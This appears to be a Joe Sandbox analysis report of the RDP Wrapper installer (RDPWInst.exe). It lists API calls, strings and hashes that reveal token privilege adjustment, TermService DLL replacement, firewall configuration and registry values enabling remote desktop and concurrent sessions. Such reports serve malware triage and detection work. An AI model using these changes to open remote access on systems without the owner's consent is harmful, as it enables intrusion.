OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C
LookupPrivilegeValueW.ADVAPI32(00000000,00000000,?), ref: 0043BFA6
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BFAF

Strings

$sD, xrefs: 0043BF7E, 0043BFE1, 0043C063
[-] OpenProcessToken error (code , xrefs: 0043BF53
[-] LookupPrivilegeValue error (code , xrefs: 0043BFB6
[-] AdjustTokenPrivileges error (code , xrefs: 0043C038

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentLookupOpenPrivilegeTokenValue
String ID: $sD$[-] AdjustTokenPrivileges error (code $[-] LookupPrivilegeValue error (code $[-] OpenProcessToken error (code
API String ID: 1401577899-1200187420
Opcode ID: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction ID: 40249df541e28cb1c3cbeffac081f98f3db748ff3bf72c69c2aa91bf02ef4f1c
Opcode Fuzzy Hash: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction Fuzzy Hash: E5412475E00218AFDB04EBE5DD81A9EB7B8EF49704F11407BF500F2291DA789D059B6A

Function 0043DC64 Relevance: 6.1, APIs: 4, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC7A
FindResourceW.KERNEL32(00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC8A
LoadResource.KERNEL32(00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DC97
FreeLibrary.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DCF5

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LibraryLoadResource$FindFree
String ID:
API String ID: 3272429154-0
Opcode ID: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction ID: b141022db8bc2a2b6abfb651a233e3798db1869765cd13709d0418182ea328c4
Opcode Fuzzy Hash: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction Fuzzy Hash: 9411E3273067445AC721DA268A81EDF3B169FC1340F09C1A6F9009F396E679C901C39A

Function 004093C0 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093DC
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093E5

Part of subcall function 004092D8: FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
Part of subcall function 004092D8: FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction ID: 6b7a5b6d94b1cbf22f3d71e7f3d695f59a60f48835f9eba26b4dd19c2a33d547
Opcode Fuzzy Hash: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction Fuzzy Hash: 58F05E752412086FDB00DE9DD888DA677DCBF18368F4044AAF94CDF382C679EC408B64

Function 004092D8 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction ID: eb757cbb51915ae52a623e93d498bac1ae70d661531f8aa58739ae681ecdb70c
Opcode Fuzzy Hash: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction Fuzzy Hash: B8D02B7250010823CA2099BC8CC9E9F734C5B05234F0803677DA8E33D1FA35D9100198

Function 00409D02 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00409D08

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction ID: dea72ce09e15e74ad366377f5463cd755b9610de14ca7f4492471b38ec8a052a
Opcode Fuzzy Hash: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction Fuzzy Hash: 12B012106085015BC908E73D4D4744B31C01A40524FC40234745CE62C2F65DCAA546DF

Function 0044373C Relevance: 81.5, APIs: 8, Strings: 46, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[*] Terminating service..., xrefs: 00443BE3, 00443D53, 00443F08
LpD, xrefs: 0044374F
-u -k uninstall wrapper and keep settings, xrefs: 0044393B
only >= 6.0 (Vista, Server 2008 and newer) are supported., xrefs: 004439D4
[*] Uninstalling..., xrefs: 00443D0F
[+] Done., xrefs: 00443F83
-r force restart Terminal Services, xrefs: 00443951
USAGE:, xrefs: 00443878
[*] Configuring service library..., xrefs: 00443BAD
[*] Installing..., xrefs: 00443AE5
SeDebugPrivilege, xrefs: 00443BF7, 00443D67, 00443F1C
to be bound by all the terms and conditions of the license agreement., xrefs: 00443A8D
- By using all or any portion of this software, you are agreeing, xrefs: 00443A77
-w get latest update for INI file, xrefs: 0044390F
%SystemRoot%\system32\rdpwrap.dll, xrefs: 00443B1A
RDP Wrapper Library v1.6.2, xrefs: 00443777
[+] Successfully installed., xrefs: 00443CA2
Installer v2.5, xrefs: 0044378D
-i -o online install mode (loads latest INI file), xrefs: 004438F9
[*] Extracting files..., xrefs: 00443B4F
[*] Removing files..., xrefs: 00443D87
[*] Checking for updates..., xrefs: 00443EB2
[*] RDP Wrapper Library is not installed., xrefs: 00443CEF, 00443E92
[*] Configuring registry..., xrefs: 00443C68, 00443E0F
$sD, xrefs: 00443761
-i install wrapper to Program Files folder (default), xrefs: 004438CD
-i -s install wrapper to System32 folder, xrefs: 004438E3
[*] Checking dependencies..., xrefs: 00443BC8
RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r], xrefs: 0044388E
-u uninstall wrapper, xrefs: 00443925
[-] Unsupported Windows version:, xrefs: 004439BE
- To read the license agreement, run the installer with -l parameter., xrefs: 00443AA3
-l display the license agreement, xrefs: 004438B7
do not use the software., xrefs: 00443ACF
%ProgramFiles%\RDP Wrapper\rdpwrap.dll, xrefs: 00443B2B
[*] RDP Wrapper Library is already installed., xrefs: 00443A41
[+] Successfully uninstalled., xrefs: 00443E57
[-] Unsupported processor architecture., xrefs: 004439F8
Copyright (C) Stas'M Corp. 2017, xrefs: 004437A3
- If you do not agree to any terms of the license agreement,, xrefs: 00443AB9
[*] Restarting..., xrefs: 00443EED
[*] Notice to user:, xrefs: 00443A61
license, xrefs: 00443989
[*] Configuring firewall..., xrefs: 00443C85, 00443E2C
TermService, xrefs: 00443C52, 00443DDD, 00443F77
[*] Resetting service library..., xrefs: 00443D38

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID: - By using all or any portion of this software, you are agreeing$ - If you do not agree to any terms of the license agreement,$ - To read the license agreement, run the installer with -l parameter.$ do not use the software.$ only >= 6.0 (Vista, Server 2008 and newer) are supported.$ to be bound by all the terms and conditions of the license agreement.$$sD$%ProgramFiles%\RDP Wrapper\rdpwrap.dll$%SystemRoot%\system32\rdpwrap.dll$-i install wrapper to Program Files folder (default)$-i -o online install mode (loads latest INI file)$-i -s install wrapper to System32 folder$-l display the license agreement$-r force restart Terminal Services$-u uninstall wrapper$-u -k uninstall wrapper and keep settings$-w get latest update for INI file$Copyright (C) Stas'M Corp. 2017$Installer v2.5$LpD$RDP Wrapper Library v1.6.2$RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r]$SeDebugPrivilege$TermService$USAGE:$[*] Checking dependencies...$[*] Checking for updates...$[*] Configuring firewall...$[*] Configuring registry...$[*] Configuring service library...$[*] Extracting files...$[*] Installing...$[*] Notice to user:$[*] RDP Wrapper Library is already installed.$[*] RDP Wrapper Library is not installed.$[*] Removing files...$[*] Resetting service library...$[*] Restarting...$[*] Terminating service...$[*] Uninstalling...$[+] Done.$[+] Successfully installed.$[+] Successfully uninstalled.$[-] Unsupported Windows version:$[-] Unsupported processor architecture.$license
API String ID: 0-551293883
Opcode ID: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction ID: 3b3904e08207714e519852b142ec2c0d1fdd34891fa1322cb905310c24a2fa21
Opcode Fuzzy Hash: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction Fuzzy Hash: D60208A4B091404BEB00BBFB894324EA5519FC574CF92817FB604B72D7CA3CA8156A7F

Function 0043AE28 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 140
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE85
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE90
OpenServiceW.ADVAPI32(00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AED6
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE2
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE7

Strings

ServicesActive, xrefs: 0043AE7E
[-] OpenSCManager error (code , xrefs: 0043AEA2
$sD, xrefs: 0043AE51, 0043AE9D, 0043AEF4, 0043AF33, 0043AF94
..., xrefs: 0043AE68
[-] OpenService error (code , xrefs: 0043AEF9
[*] Checking , xrefs: 0043AE56
[-] QueryServiceConfig failed., xrefs: 0043AF38
[-] QueryServiceConfig error (code , xrefs: 0043AF99

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Checking $[-] OpenSCManager error (code $[-] OpenService error (code $[-] QueryServiceConfig error (code $[-] QueryServiceConfig failed.
API String ID: 48634454-3812534468
Opcode ID: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction ID: 7a774fc46d996de6837286bf894840c9c95f128f26b1d3a09438fbe6509dfab0
Opcode Fuzzy Hash: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction Fuzzy Hash: 41418FA4A08200AAD711F7B68C42A5F76A99F88308F11917BB514B6293CB3CAD01967F

Function 0043E864 Relevance: 34.8, APIs: 7, Strings: 16, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00447324), ref: 0043E8BE
GetLastError.KERNEL32(?,?,00447324), ref: 0043E978
GetLastError.KERNEL32(?,?,00447324), ref: 0043EA23

Strings

\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core, xrefs: 0043E967
$sD, xrefs: 0043E8CB, 0043E985, 0043EA30, 0043EAF0, 0043EB47, 0043EC07, 0043ECC7
Name, xrefs: 0043EB89, 0043EC49
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector, xrefs: 0043EBE9
AllowMultipleTSSessions, xrefs: 0043EA6F
RDPDND, xrefs: 0043EC44
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC, xrefs: 0043ECA9
EnableConcurrentSessions, xrefs: 0043E9C4
Type, xrefs: 0043EB9B, 0043EC5B, 0043ED07
fDenyTSConnections, xrefs: 0043E90F
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns, xrefs: 0043EABB, 0043EAD2
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector, xrefs: 0043EB29
RDPClip, xrefs: 0043EB84
\SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 0043E8AD
[-] OpenKey error (code , xrefs: 0043E8D0, 0043E98A, 0043EA35, 0043EAF5, 0043EB4C, 0043EC0C, 0043ECCC
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 0043EA12

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$AllowMultipleTSSessions$EnableConcurrentSessions$Name$RDPClip$RDPDND$Type$[-] OpenKey error (code $\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$\SYSTEM\CurrentControlSet\Control\Terminal Server$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC$\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core$fDenyTSConnections
API String ID: 1452528299-1114397459
Opcode ID: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction ID: d5bff1feb4e6776106dd90f858afd21f9f4463beb35b4115f94bb768dd44f540
Opcode Fuzzy Hash: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction Fuzzy Hash: 97A16E70B052005BEB10BBBB984256E76A5DB8D308F51A47FF400A76D2CB3DAC05972E

Function 00408F6C Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,00409151,?,00000000), ref: 00408FA5
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FC1
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FEE
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151), ref: 0040900C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040902A
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 00409048
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000), ref: 00409088
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090B3
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090D7
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,?,?,?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 00409100
RegCloseKey.ADVAPI32(?,0040913B,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales), ref: 0040912E

Strings

Software\Borland\Locales, xrefs: 00409020
Software\CodeGear\Locales, xrefs: 00408FE4, 00409002
Software\Borland\Delphi\Locales, xrefs: 0040903E

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction ID: 299ddb9754ebd29522f96ae12af661ce277d6f97d31c05324fadffe1222b4d16
Opcode Fuzzy Hash: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction Fuzzy Hash: CA510071B40209BEEB10EAA5CD46FAE77BCEB48704F504477B604F61C2D6B8AE408A5D

Function 0043A7BC Relevance: 24.2, APIs: 2, Strings: 14, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A827
GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A91D

Part of subcall function 00438860: RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
Part of subcall function 00438860: RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Strings

$sD, xrefs: 0043A834, 0043A8B8, 0043A8D1, 0043A92A, 0043A9BF, 0043A9D8
[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported., xrefs: 0043A8BD
svchost.exe, xrefs: 0043A887
[*] ImagePath: ", xrefs: 0043A8D6
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043A906
ImagePath, xrefs: 0043A866
svchost -k, xrefs: 0043A8A3
[-] Another third-party TermService library is installed., xrefs: 0043A9C4
ServiceDll, xrefs: 0043A95C
[-] OpenKeyReadOnly error (code , xrefs: 0043A839, 0043A92F
termsrv.dll, xrefs: 0043A98C
\SYSTEM\CurrentControlSet\Services\TermService, xrefs: 0043A810
[*] ServiceDll: ", xrefs: 0043A9DD
rdpwrap.dll, xrefs: 0043A9AA, 0043AA27

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseFlush
String ID: $sD$ImagePath$ServiceDll$[*] ImagePath: "$[*] ServiceDll: "$[-] Another third-party TermService library is installed.$[-] OpenKeyReadOnly error (code $[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported.$\SYSTEM\CurrentControlSet\Services\TermService$\SYSTEM\CurrentControlSet\Services\TermService\Parameters$rdpwrap.dll$svchost -k$svchost.exe$termsrv.dll
API String ID: 1149308822-2563127478
Opcode ID: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction ID: 1ac512ede3db6dba28468dccd327cdb8adfd53dd4df03d49c6afb8088628474e
Opcode Fuzzy Hash: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction Fuzzy Hash: 01515774B442005BD700FBBA8D4255EB2659F8930CB51A43FB840BB796CB3CEC158AAF

Function 00408C28 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000,004095BB), ref: 00408C46
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C6A
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C79
IsValidLocale.KERNEL32(00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000), ref: 00408C8D
